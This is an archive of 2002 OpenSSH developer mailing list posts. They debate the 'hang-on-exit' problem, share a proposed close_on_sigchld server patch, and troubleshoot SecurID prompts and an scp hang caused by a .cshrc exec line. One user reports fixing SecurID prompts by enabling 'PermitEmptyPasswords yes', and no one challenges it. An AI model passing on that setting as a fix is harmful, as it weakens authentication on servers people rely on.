From michael at bizsystems.com  Tue Aug  6 17:30:12 2002
From: michael at bizsystems.com (Michael Robinton)
Date: Tue, 6 Aug 2002 00:30:12 -0700 (PDT)
Subject: so-called-hang-on-exit
In-Reply-To: <20020806065728.GA19869@faui02>
Message-ID: <Pine.LNX.4.33.0208060028480.21398-100000@pandora.is.bizsystems.com>


On Tue, 6 Aug 2002, Markus Friedl wrote:

> On Mon, Aug 05, 2002 at 04:18:31PM -0700, Michael Robinton wrote:
> > about ~ and some scripts which start remote processes via ssh get stuck
> > with a hung connection. What's the problem with having sshd close the
>
> do scripts allocate ttys?
>
That's not the issue. Scripts can and do hang sshd if they call a daemon
process on the other end that is not properly written.

i.e.

Bug Report
"ssh hangs when I ......"


Michael



From michael at bizsystems.com  Tue Aug  6 17:32:42 2002
From: michael at bizsystems.com (Michael Robinton)
Date: Tue, 6 Aug 2002 00:32:42 -0700 (PDT)
Subject: so-called-hang-on-exit
In-Reply-To: <20020806070007.GB19869@faui02>
Message-ID: <Pine.LNX.4.33.0208060030360.21398-100000@pandora.is.bizsystems.com>


On Tue, 6 Aug 2002, Markus Friedl wrote:

> On Tue, Aug 06, 2002 at 11:33:36AM +1000, Carl Brewer wrote:
> > Unfortunatly, Michael, you're wasting your time.  None of the
> > developers will see it from a 'real user' perspective.  Purity
> > vs practicality, and purity wins.
>
> no, you are wrong. but you are just seeing your positing, where
> 'hang' is a problem and 'data loss' is not.
>
> -m
>
As I see it, neither position is a "problem", just a choice. A decision
has been made to force one particular choice on the user community instead
of allowing the choice to be made based on the system requirements.

Make it an option that can be set in both sshd-config and ssh-config so
that both client and server operators have the choice to never lose data
or to always disconnect, damn the data, full speed ahead :-)

Michael



From Markus.Friedl at informatik.uni-erlangen.de  Tue Aug  6 17:53:59 2002
From: Markus.Friedl at informatik.uni-erlangen.de (Markus Friedl)
Date: Tue, 6 Aug 2002 09:53:59 +0200
Subject: so-called-hang-on-exit
In-Reply-To: <Pine.LNX.4.33.0208060028480.21398-100000@pandora.is.bizsystems.com>
References: <20020806065728.GA19869@faui02> <Pine.LNX.4.33.0208060028480.21398-100000@pandora.is.bizsystems.com>
Message-ID: <20020806075358.GA22299@faui02>

On Tue, Aug 06, 2002 at 12:30:12AM -0700, Michael Robinton wrote:
> > do scripts allocate ttys?
> >
> That's not the issue. Scripts can and do hang sshd if they call a daemon
> process on the other end that is not properly written.

but this is a different problem.


From fcusack at fcusack.com  Tue Aug  6 18:21:35 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Tue, 6 Aug 2002 01:21:35 -0700
Subject: adminstrivia: spamAssassin woes
Message-ID: <20020806012135.A1139@google.com>

I think spam assasin is rewriting the message-ids.  My dup filter
is no longer working for this list.  Can it be changed to preserve it?

/fc


From vervoom at hotmail.com  Tue Aug  6 18:54:16 2002
From: vervoom at hotmail.com (J S)
Date: Tue, 06 Aug 2002 08:54:16 +0000
Subject: password prompt
Message-ID: <LAW2-F1304f5ZxEG4xb000081c8@hotmail.com>

In that case why is there a securid patch for openssh?
Also I've tried setting 'PAMAuthenticationViaKbdInt yes' but that doesn't 
work, I still get the password prompt.


>
>On Mon, Aug 05, 2002 at 11:38:54PM +0200, Jakob Schlyter wrote:
> > On Mon, 5 Aug 2002, J S wrote:
> >
> > > I would like to do some development on the securid patch to get it to
> > > display the passcode prompt when users log in with securid on ssh.
> > >
> > > Can anyone tell me which scripts currently handle the logon/password 
>prompt
> > > in openssh please?
> >
> > shouldn't securid use keyboard interactive, which I believe can
> > handle different change-response prompts, instead?
>
>yes, it should. it should not depend on the client.
>_______________________________________________
>openssh-unix-dev at mindrot.org mailing list
>http://www.mindrot.org/mailman/listinfo/openssh-unix-dev




_________________________________________________________________
Chat with friends online, try MSN Messenger: http://messenger.msn.com



From vervoom at hotmail.com  Tue Aug  6 19:05:36 2002
From: vervoom at hotmail.com (J S)
Date: Tue, 06 Aug 2002 09:05:36 +0000
Subject: password prompt
Message-ID: <LAW2-F17nI2Ppt8Mduu00000b33@hotmail.com>

OK I got it to work now, by setting the following options in the config:

PermitEmptyPasswords yes
KbdInteractiveAuthentication yes

However the KbdInteractiveAuthentication line doesn't seem to come as part 
of the openssh build. Is there a reason for that?

JS.

_________________________________________________________________
Chat with friends online, try MSN Messenger: http://messenger.msn.com



From Markus.Friedl at informatik.uni-erlangen.de  Tue Aug  6 19:06:53 2002
From: Markus.Friedl at informatik.uni-erlangen.de (Markus Friedl)
Date: Tue, 6 Aug 2002 11:06:53 +0200
Subject: password prompt
In-Reply-To: <LAW2-F1304f5ZxEG4xb000081c8@hotmail.com>
References: <LAW2-F1304f5ZxEG4xb000081c8@hotmail.com>
Message-ID: <20020806090653.GA26105@faui02>

On Tue, Aug 06, 2002 at 08:54:16AM +0000, J S wrote:
> In that case why is there a securid patch for openssh?
> Also I've tried setting 'PAMAuthenticationViaKbdInt yes' but that doesn't 
> work, I still get the password prompt.

i have no idea what you are doing.


From fcusack at fcusack.com  Tue Aug  6 19:42:05 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Tue, 6 Aug 2002 02:42:05 -0700
Subject: so-called-hang-on-exit
In-Reply-To: <20020805214136.M13152@google.com>; from fcusack@fcusack.com on Mon, Aug 05, 2002 at 09:41:36PM -0700
References: <20020805041125.A5018@google.com> <Pine.LNX.4.44.0208060056590.1071-100000@loussa.kamppa> <20020805214136.M13152@google.com>
Message-ID: <20020806024205.A13994@google.com>

On Mon, Aug 05, 2002 at 09:41:36PM -0700, Frank Cusack wrote:
> I'll put up my patch for comparison later tonight.

Here it is ... against current CVS.  It's the combined work of Markus,
Jani, myself and perhaps others.  It's relatively simple (I think) and
also looks "correct" so IMHO it should make it into 3.5p1.

Now, all you people griping ... TEST IT!!  Thanks Markus, for keeping
this issue alive.

I called the option close_on_sigchld instead of the earlier
allow_data_loss_on_pty but that's just cuz that's what my local patch
has historically been named.

====================
diff -ur openssh.orig/channels.c openssh/channels.c
--- openssh.orig/channels.c	Tue Aug  6 02:05:47 2002
+++ openssh/channels.c	Tue Aug  6 02:09:36 2002
@@ -248,6 +248,7 @@
 	c->istate = CHAN_INPUT_OPEN;
 	c->flags = 0;
 	channel_register_fds(c, rfd, wfd, efd, extusage, nonblock);
+	c->read_last_input = 0;
 	c->self = found;
 	c->type = type;
 	c->ctype = ctype;
@@ -1240,6 +1241,29 @@
 {
 	char buf[16*1024];
 	int len;
+
+	/*
+	 * After SIGCHLD && options.close_on_sigchld (c->read_last_input == 1),
+	 * set eof on the channel's rfd once there is no more data available.
+	 * This "fixes" the so-called hang-on-exit problem.
+	 * rfd was only in the input readset under certain conditions
+	 * determined by channel_pre_open_20(); this is to avoid growing
+	 * the output buffer unnecessarily.
+	 */
+	if (c->rfd != -1 && compat20 &&
+	    c->read_last_input && !FD_ISSET(c->rfd, readset) &&
+	    /* The rest of this is what channel_pre_open_20() does */
+	    c->istate == CHAN_INPUT_OPEN &&
+	    c->remote_window > 0 &&
+	    buffer_len(&c->input) < c->remote_window) {
+	    debug("channel %d: rfd %d not in readset, closing",
+		  c->self, c->rfd);
+	    if (c->type != SSH_CHANNEL_OPEN)
+		    chan_mark_dead(c);
+	    else
+		    chan_read_failed(c);
+	    return -1;
+	}
 
 	if (c->rfd != -1 &&
 	    FD_ISSET(c->rfd, readset)) {
diff -ur openssh.orig/channels.h openssh/channels.h
--- openssh.orig/channels.h	Tue Aug  6 02:05:47 2002
+++ openssh/channels.h	Tue Aug  6 02:09:36 2002
@@ -72,6 +72,7 @@
 	u_int   istate;		/* input from channel (state of receive half) */
 	u_int   ostate;		/* output to channel  (state of transmit half) */
 	int     flags;		/* close sent/rcvd */
+	int	read_last_input;	/* read available data then close */
 	int     rfd;		/* read fd */
 	int     wfd;		/* write fd */
 	int     efd;		/* extended fd */
diff -ur openssh.orig/servconf.c openssh/servconf.c
--- openssh.orig/servconf.c	Tue Aug  6 02:05:48 2002
+++ openssh/servconf.c	Tue Aug  6 02:16:25 2002
@@ -105,6 +105,7 @@
 	options->use_login = -1;
 	options->compression = -1;
 	options->allow_tcp_forwarding = -1;
+	options->close_on_sigchld = -1;
 	options->num_allow_users = 0;
 	options->num_deny_users = 0;
 	options->num_allow_groups = 0;
@@ -232,6 +233,8 @@
 		options->compression = 1;
 	if (options->allow_tcp_forwarding == -1)
 		options->allow_tcp_forwarding = 1;
+	if (options->close_on_sigchld == -1)
+		options->close_on_sigchld = 0;
 	if (options->gateway_ports == -1)
 		options->gateway_ports = 0;
 	if (options->max_startups == -1)
@@ -293,7 +296,7 @@
 	sPasswordAuthentication, sKbdInteractiveAuthentication, sListenAddress,
 	sPrintMotd, sPrintLastLog, sIgnoreRhosts,
 	sX11Forwarding, sX11DisplayOffset, sX11UseLocalhost,
-	sStrictModes, sEmptyPasswd, sKeepAlives,
+	sStrictModes, sEmptyPasswd, sKeepAlives, sCloseOnSIGCHLD,
 	sPermitUserEnvironment, sUseLogin, sAllowTcpForwarding, sCompression,
 	sAllowUsers, sDenyUsers, sAllowGroups, sDenyGroups,
 	sIgnoreUserKnownHosts, sCiphers, sMacs, sProtocol, sPidFile,
@@ -362,6 +365,7 @@
 	{ "compression", sCompression },
 	{ "keepalive", sKeepAlives },
 	{ "allowtcpforwarding", sAllowTcpForwarding },
+	{ "closeonsigchld", sCloseOnSIGCHLD },
 	{ "allowusers", sAllowUsers },
 	{ "denyusers", sDenyUsers },
 	{ "allowgroups", sAllowGroups },
@@ -761,6 +765,10 @@
 
 	case sAllowTcpForwarding:
 		intptr = &options->allow_tcp_forwarding;
+		goto parse_flag;
+
+	case sCloseOnSIGCHLD:
+		intptr = &options->close_on_sigchld;
 		goto parse_flag;
 
 	case sUsePrivilegeSeparation:
diff -ur openssh.orig/servconf.h openssh/servconf.h
--- openssh.orig/servconf.h	Tue Aug  6 02:05:48 2002
+++ openssh/servconf.h	Tue Aug  6 02:14:01 2002
@@ -101,6 +101,7 @@
 	int     use_login;	/* If true, login(1) is used */
 	int     compression;	/* If true, compression is allowed */
 	int	allow_tcp_forwarding;
+	int	close_on_sigchld;
 	u_int num_allow_users;
 	char   *allow_users[MAX_ALLOW_USERS];
 	u_int num_deny_users;
diff -ur openssh.orig/serverloop.c openssh/serverloop.c
--- openssh.orig/serverloop.c	Tue Aug  6 02:05:48 2002
+++ openssh/serverloop.c	Tue Aug  6 02:26:30 2002
@@ -88,6 +88,7 @@
  */
 
 static volatile sig_atomic_t child_terminated = 0;	/* The child has terminated. */
+static volatile sig_atomic_t child_just_terminated = 0;	/* just now. (for compat20) */
 
 /* prototypes */
 static void server_init_dispatch(void);
@@ -143,6 +144,7 @@
 	int save_errno = errno;
 	debug("Received SIGCHLD.");
 	child_terminated = 1;
+	child_just_terminated = 1;
 	mysignal(SIGCHLD, sigchld_handler);
 	notify_parent();
 	errno = save_errno;
@@ -306,6 +308,13 @@
 	/*
 	 * If child has terminated and there is enough buffer space to read
 	 * from it, then read as much as is available and exit.
+	 *
+	 * packet_not_very_much_data_to_write() is always true in the
+	 * compat20 case, which is fine: we want to force a non-NULL tvp
+	 * once child_terminated so we can do options.close_on_sigchld.
+	 * If that option isn't set, we incur some extra overhead of having
+	 * to keep running through server_loop2() but the session is likely
+	 * to be ending soon anyway, so this should be OK.
 	 */
 	if (child_terminated && packet_not_very_much_data_to_write())
 		if (max_time_milliseconds == 0 || client_alive_scheduled)
@@ -365,6 +374,22 @@
 	if (compat20)
 		return;
 
+	/*
+	 * After SIGCHLD, set eof on program output fd's once there is no
+	 * more data available.  This "fixes" the so-called hang-on-exit
+	 * problem.  The call to packet_not_very_much_data_to_write() is
+	 * because fdout and fderr were only in the input readset if 
+	 * we didn't already have a lot of data pending transmission
+	 * to the client; this is to avoid growing the output buffer
+	 * unnecessarily.
+	 */
+	if (child_terminated && options.close_on_sigchld &&
+	    fderr == -1 && /* only do this for pty sessions */
+	    packet_not_very_much_data_to_write()) {
+		if (!FD_ISSET(fdout, readset))
+			fdout_eof = 1;
+	}
+
 	/* Read and buffer any available stdout data from the program. */
 	if (!fdout_eof && FD_ISSET(fdout, readset)) {
 		len = read(fdout, buf, sizeof(buf));
@@ -722,12 +747,12 @@
 	sigemptyset(&nset);
 	sigaddset(&nset, SIGCHLD);
 	sigprocmask(SIG_BLOCK, &nset, &oset);
-	if (child_terminated) {
+	if (child_just_terminated) {
 		while ((pid = waitpid(-1, &status, WNOHANG)) > 0 ||
 		    (pid < 0 && errno == EINTR))
 			if (pid > 0)
 				session_close_by_pid(pid, status);
-		child_terminated = 0;
+		child_just_terminated = 0;
 	}
 	sigprocmask(SIG_SETMASK, &oset, NULL);
 }
@@ -742,6 +767,7 @@
 
 	mysignal(SIGCHLD, sigchld_handler);
 	child_terminated = 0;
+	child_just_terminated = 0;
 	connection_in = packet_get_connection_in();
 	connection_out = packet_get_connection_out();
 
diff -ur openssh.orig/session.c openssh/session.c
--- openssh.orig/session.c	Tue Aug  6 02:05:48 2002
+++ openssh/session.c	Tue Aug  6 02:30:45 2002
@@ -1851,6 +1851,15 @@
 	 */
 	if (c->ostate != CHAN_OUTPUT_CLOSED)
 		chan_write_failed(c);
+	if (s->ttyfd != -1 && /* only do this for pty sessions */
+	    c->istate == CHAN_INPUT_OPEN &&
+	    options.close_on_sigchld) {
+		/*
+		 * Set the channel read_last_input state so that we can close
+		 * the read side as soon as there is no more data waiting.
+		 */
+		c->read_last_input = 1;
+	}
 	s->chanid = -1;
 }
 
======================

And for you heathens, you can change the above to do the same
for both the pty and non-pty case.  (I wouldn't expect this to make it
into any openssh release, although it is what the old ssh-1.2.x does.)
Just comment out the two bits marked "only do this for pty sessions" and
add

                if (fderr != -1 && !FD_ISSET(fderr, readset))
                        fderr_eof = 1;

to the bit in serverloop.c:process_input().

/fc



From Markus.Friedl at informatik.uni-erlangen.de  Tue Aug  6 20:38:11 2002
From: Markus.Friedl at informatik.uni-erlangen.de (Markus Friedl)
Date: Tue, 6 Aug 2002 12:38:11 +0200
Subject: so-called-hang-on-exit
In-Reply-To: <20020806024205.A13994@google.com>
References: <20020805041125.A5018@google.com> <Pine.LNX.4.44.0208060056590.1071-100000@loussa.kamppa> <20020805214136.M13152@google.com> <20020806024205.A13994@google.com>
Message-ID: <20020806103811.GA885@faui02>

On Tue, Aug 06, 2002 at 02:42:05AM -0700, Frank Cusack wrote:
> And for you heathens, you can change the above to do the same
> for both the pty and non-pty case.  (I wouldn't expect this to make it
> into any openssh release, although it is what the old ssh-1.2.x does.)

yes, i think they removed it to avoid data loss.


From vervoom at hotmail.com  Tue Aug  6 22:01:28 2002
From: vervoom at hotmail.com (J S)
Date: Tue, 06 Aug 2002 12:01:28 +0000
Subject: password prompt
Message-ID: <LAW2-F142V5DVONdTmP000083fb@hotmail.com>

Should keyboard interactive work with scp and sftp for securid as well then?

JS.



_________________________________________________________________
Join the world?s largest e-mail service with MSN Hotmail. 
http://www.hotmail.com



From Markus.Friedl at informatik.uni-erlangen.de  Tue Aug  6 22:14:02 2002
From: Markus.Friedl at informatik.uni-erlangen.de (Markus Friedl)
Date: Tue, 6 Aug 2002 14:14:02 +0200
Subject: password prompt
In-Reply-To: <LAW2-F142V5DVONdTmP000083fb@hotmail.com>
References: <LAW2-F142V5DVONdTmP000083fb@hotmail.com>
Message-ID: <20020806121402.GA5221@faui02>

On Tue, Aug 06, 2002 at 12:01:28PM +0000, J S wrote:
> Should keyboard interactive work with scp and sftp for securid as well then?

yes, but it depends on whether the server does speak keyboard interactive .


From vervoom at hotmail.com  Tue Aug  6 23:24:12 2002
From: vervoom at hotmail.com (J S)
Date: Tue, 06 Aug 2002 13:24:12 +0000
Subject: password prompt
Message-ID: <LAW2-F70ANZwwPcMFlF00000e97@hotmail.com>

Markus,

Thanks for your help on this. I'm not sure whether I understood your answer 
though. The keyboard interactive is switched on in the sshd_config, and I've 
got passcode prompts working now with ssh but scp and sftp cut out before I 
can connect. Is there someway to switch keyboard interactive on for the 
sftp-server?


>On Tue, Aug 06, 2002 at 12:01:28PM +0000, J S wrote:
> > Should keyboard interactive work with scp and sftp for securid as well 
>then?
>
>yes, but it depends on whether the server does speak keyboard interactive .




_________________________________________________________________
MSN Photos is the easiest way to share and print your photos: 
http://photos.msn.com/support/worldwide.aspx



From Nicolas.Williams at ubsw.com  Tue Aug  6 23:59:27 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Tue, 6 Aug 2002 09:59:27 -0400
Subject: so-called-hang-on-exit
Message-ID: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EC00@NSTMC004PEX1.ubsgs.ubsgroup.net>

Michael,

You misunderstood me. I stated that the so called "bug" could/should
be fixed in the client, rather than the server.

Nico
-- 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From Nicolas.Williams at ubsw.com  Wed Aug  7 00:12:04 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Tue, 6 Aug 2002 10:12:04 -0400
Subject: so-called-hang-on-exit
Message-ID: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EC01@NSTMC004PEX1.ubsgs.ubsgroup.net>

Why are putting a timeout into the sshd's select() when flushing
the PTY?

I'll admit I've neither tried the patch nor really read it. But if
you'll rely on timeouts on one side, why not on the other. There's
the heuristic. I mean, if you want it to be totally correct then
sshd just has to wait for the pty to close - any other approach
has to be a heuristic and will allow for data lossage.

But then, you all seem to be happy with data lossage, whereas I'm
not happy to be forced to suffer it. So why not a client side
heuristic, like this:

if (session-exit && open_channels == 1) {
    set_timeout(1); /* 1 second - or as configured */
}
...

and in the event loop add a check for (open_sessions == 0 &&
open_channels == 1 && open_channel_has_pty()) and then close the
channel and do the right thing (exit).

Forgive my pseudo-code.

I mean, if we're gonna have a heuristic, why not put it on the
client side, where all users can decide whether or not to turn
it on (whereas they can't if the heuristic is implemented on
the server side - not without adding a special channel request
for it [ick!]).

Cheers,

Nico
-- 

> -----Original Message-----
> From: Frank Cusack [mailto:fcusack at fcusack.com]
> Sent: Tuesday, August 06, 2002 2:21 AM
> To: Williams, Nicolas
> Cc: jjaakkol at cs.Helsinki.FI; openssh-unix-dev at mindrot.org
> Subject: Re: so-called-hang-on-exit
> 
> 
> How does the client know the pty has been flushed and it's 
> not just that
> sshd has not set the right bit in the select mask (since it 
> does or does not
> set it according to some heuristic)?  ie, just b/c the client 
> isn't getting
> data doesn't mean the pty has been flushed.  Right?
> 
> /fc
> 
> On Mon, Aug 05, 2002 at 04:31:26PM -0400, 
> Nicolas.Williams at ubsw.com wrote:
> > 
> > Fair enough on the flushing of the pty. But sshd should still
> > not close the pty - it should wait for the background processes
> > to exit and/or dissassociate from the pty.
> > 
> > The client does know that there are background processes left
> > still holding the pty open. How? Because the client requested
> > and got a pty, the sshd has sent a session-exit message, and
> > the channel is still open.
> > 
> > Cheers,
> > 
> > Nico
> > -- 
> > 
> > > -----Original Message-----
> > > From: Jani Jaakkola [mailto:jjaakkol at cs.Helsinki.FI]
> > > Sent: Monday, August 05, 2002 4:20 PM
> > > To: Williams, Nicolas
> > > Cc: openssh-unix-dev at mindrot.org
> > > Subject: RE: so-called-hang-on-exit
> > > 
> > > 
> > > On Mon, 5 Aug 2002 Nicolas.Williams at ubsw.com wrote:
> > > 
> > > > 
> > > > I still think this sort of thing should be done by the client.
> > > > 
> > > > The client knows everything that the server knows.
> > > 
> > > Except this time is does not. If there is background 
> > > processses on the 
> > > tty, the client can either close the session and lose 
> data or wait 
> > > indefinetely for data from the background processes.
> > > 
> > > > So the client
> > > > can choose to terminate the SSHv2 session when the PTY session
> > > > process leader exits - and it can implement any other 
> termination
> > > > heuristic you wish too.
> > > 
> > > It needs server modifications that data from the pty 
> session process 
> > > leaders is not lost. I think rlogin and all other pty using 
> > > programs have 
> > > allready implemented this properly; which is that the pty 
> buffer is 
> > > first emptied and the connection is closed _after_ that.
> > > 
> > > - Jani
> 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From Nicolas.Williams at ubsw.com  Wed Aug  7 00:16:53 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Tue, 6 Aug 2002 10:16:53 -0400
Subject: so-called-hang-on-exit
Message-ID: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EC02@NSTMC004PEX1.ubsgs.ubsgroup.net>

On Tuesday, August 06, Michael Robinton wrote:
> Make it an option that can be set in both sshd-config and 
> ssh-config so
> that both client and server operators have the choice to 
> never lose data
> or to always disconnect, damn the data, full speed ahead :-)

You can't make it a client-side option if it's implemented on the
server side without extending the SSHv2 protocol [by adding a new
channel request type].

So now you're saying you'd be happy with a client-side option (which
you'd default a particular way, and I another, in ssh_config).

So you've come around to my position :)

Q.E.D.,

Nico
-- 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From alexy.khrabrov at setup.org  Wed Aug  7 00:33:02 2002
From: alexy.khrabrov at setup.org (Alexy Khrabrov)
Date: Tue, 6 Aug 2002 10:33:02 -0400 (EDT)
Subject: scp fails where ssh succeeds; buffer_get?
In-Reply-To: <20020805220234.GC22520@faui02> from Markus Friedl at "Aug 6, 2002
 00:02:35 am"
Message-ID: <200208061433.g76EX2q21569@angle.badbox.com>

I did have a screwed up key line in authorized_keys2 at some point,
(cut and paste from a dumb xterm insetrted linebreaks, ftp'ed a real
one), which caused the server to close connection immediately.
But even removing the .ssh on the server completely continues to
show teh problem: scp asks for password, then the log message on the
server says it passed:

Aug  6 10:19:04 pdb-pc-6 sshd[30996]: Accepted password for alexy from 68.38.146.249 port 14148 ssh2

Then scp hangs indefinitely.

We use NIS on the server side, can there be any interaction of sshd with it
which is different from ssh?  What really baffles me is that ssh works
while scp and sftp hang after the password is accepted!

My hunch is it's some broken Red Hat 7.1 library.  I prefer SuSE,
but am stuck at work with that Disneyworld distro.  :-)  Any tests
I can try on client/server, any traces I can turn on anywhere?

Cheers,
Alexy


> perhaps the authorized_keys file is broken (bad linebreaks)?
> -m
> 
> On Mon, Aug 05, 2002 at 05:44:16PM -0400, Alexy Khrabrov wrote:
> > 
> > I have built the freshest CVS versions of openssh and still observe
> > the same strangest behavior I encountered when trying to scp from a SuSE
> > 7.2 to RedHat 7.1 system -- I built openssl-0.9.6e on RedHat as well--
> > and updated a lot of stuff; but still:
> > 
> > ssh succeeds, and scp fails, leaving the following message in 
> > /var/log/secure: 
> > Aug  5 11:50:44 pdb-pc-6 sshd[4609]: fatal: buffer_get: trying to get more bytes than in buffer
> > 
> > I compiled --with-tcp-wrappers and the client is allowed (obviously,
> > as ssh succeeds).  Local machines on the same subnet can scp without
> > any problems.  Same thing happens with sftp -- both ask for password,
> > then hang.  If the key is kept by an agent, scp simply quits, saying
> > that the server closed the connection.
> > 
> > I never observed that before, my SuSE box works like a clock in both
> > client/server modes.  What can be possibly broken on the Red Hat box?
> > 
> > Cheers,
> > Alexy
> > _______________________________________________
> > openssh-unix-dev at mindrot.org mailing list
> > http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> 



From Nicolas.Williams at ubsw.com  Wed Aug  7 01:04:09 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Tue, 6 Aug 2002 11:04:09 -0400
Subject: so-called-hang-on-exit
Message-ID: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EC04@NSTMC004PEX1.ubsgs.ubsgroup.net>

> Hm, so still the only thing we could do is wait for EOF,
> until someone can explain why Linux/Solaris behave different
> from *BSD....

What's the difference, again?

Nico
-- 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From alexy.khrabrov at setup.org  Wed Aug  7 02:01:52 2002
From: alexy.khrabrov at setup.org (Alexy Khrabrov)
Date: Tue, 6 Aug 2002 12:01:52 -0400 (EDT)
Subject: scp fails where ssh succeeds; buffer_get?
In-Reply-To: <200208061433.g76EX2q21569@angle.badbox.com> from Alexy Khrabrov
 at "Aug 6, 2002 10:33:02 am"
Message-ID: <200208061601.g76G1qE21991@angle.badbox.com>

OK, I found the problem and I apologize teh cause was really obscure
and perhaps dumb, but I didn't have bash at work (due to NIS and lack
of bash on some legacy systems I log in to), tcsh is the login shell
in NIS.  So I had this well-known hack in my ~/.cshrc:

# Change the following test to taste
if (`uname -s` == "Linux" ) then
	setenv SHELL /bin/bash
        exec /bin/bash
endif

...and that caused scp to hang without notice, and sshd just said that
the password is accepted.  Is it the desired behavior?

What would be the right test above to let scp through?

Regards,
Alexy



From binder at arago.de  Wed Aug  7 03:09:30 2002
From: binder at arago.de (Thomas Binder)
Date: Tue, 6 Aug 2002 19:09:30 +0200
Subject: scp fails where ssh succeeds; buffer_get?
In-Reply-To: <200208061601.g76G1qE21991@angle.badbox.com>; from alexy.khrabrov@setup.org on Tue, Aug 06, 2002 at 12:01:52PM -0400
References: <200208061433.g76EX2q21569@angle.badbox.com> <200208061601.g76G1qE21991@angle.badbox.com>
Message-ID: <20020806190930.A9155006@ohm.arago.de>

Hi!

On Tue, Aug 06, 2002 at 12:01:52PM -0400, Alexy Khrabrov wrote:
> I had this well-known hack in my ~/.cshrc:
> 
> # Change the following test to taste
> if (`uname -s` == "Linux" ) then
> 	setenv SHELL /bin/bash
>         exec /bin/bash
> endif

That should definitely go into ~/.login

Remember, ~/.cshrc is executed everytime you launch csh, even for
shellscripts that start with #!/bin/csh


Ciao

Thomas


From cjc5 at po.cwru.edu  Wed Aug  7 03:18:55 2002
From: cjc5 at po.cwru.edu (Craig J Copi)
Date: Tue, 06 Aug 2002 13:18:55 -0400
Subject: so-called-hang-on-exit 
In-Reply-To: Your message of "Tue, 06 Aug 2002 11:04:09 EDT."
             <BF5F3FE870FB5C4B89BC1A1FBC76778C08EC04@NSTMC004PEX1.ubsgs.ubsgroup.net> 
Message-ID: <20020806171855.448BA856C@aether.phys.cwru.edu>

Nicolas.Williams at ubsw.com writes:
>
>What's the difference, again?

Using the following test:
#> ssh machinename
#> (sleep 10; echo hi) &
#> exit

I get the following results.
H == Hang, wait for sleep, print hi, then exit
NH == Exit immediately (hi not printed)

client\server |  Linux  | OpenBSD
--------------+---------+--------
Linux         |    H    |  NH
OpenBSD       |    H    |  NH


Using the following test:
#> ssh machinename '(sleep 10; echo hi) &'

I get the following results.

client\server |  Linux  | OpenBSD
--------------+---------+--------
Linux         |    H    |  H
OpenBSD       |    H    |  H

Note:
Linux == RH7.3 w/updates
OpenBSD == 3.1 w/updates
OpenSSH 3.4[p1] w/privsep running on test machines.

So why does this happen.  People seem to expect the OpenBSD behavior
eventhough you don't get the "hi" printed in the first test case.

Craig


From Nicolas.Williams at ubsw.com  Wed Aug  7 03:48:34 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Tue, 6 Aug 2002 13:48:34 -0400
Subject: so-called-hang-on-exit 
Message-ID: <BF5F3FE870FB5C4B89BC1A1FBC76778C0A1081@NSTMC004PEX1.ubsgs.ubsgroup.net>

I meant, what is the difference in behaviour in technical terms.

E.g., "the BSD pty master gets EOF as soon as all processes in the pty's
controlling process group exit, whereas on Linux the pty master EOFs
only when there are no open file descriptors for the pty."

And what server-side, user-level heuristic could "correct" for this
difference?

Cheers,

Nico
-- 

> -----Original Message-----
> From: Craig J Copi [mailto:cjc5 at po.cwru.edu]
> Sent: Tuesday, August 06, 2002 1:19 PM
> To: Williams, Nicolas
> Cc: openssh-unix-dev at mindrot.org
> Subject: Re: so-called-hang-on-exit 
> 
> 
> Nicolas.Williams at ubsw.com writes:
> >
> >What's the difference, again?
> 
> Using the following test:
> #> ssh machinename
> #> (sleep 10; echo hi) &
> #> exit
> 
> I get the following results.
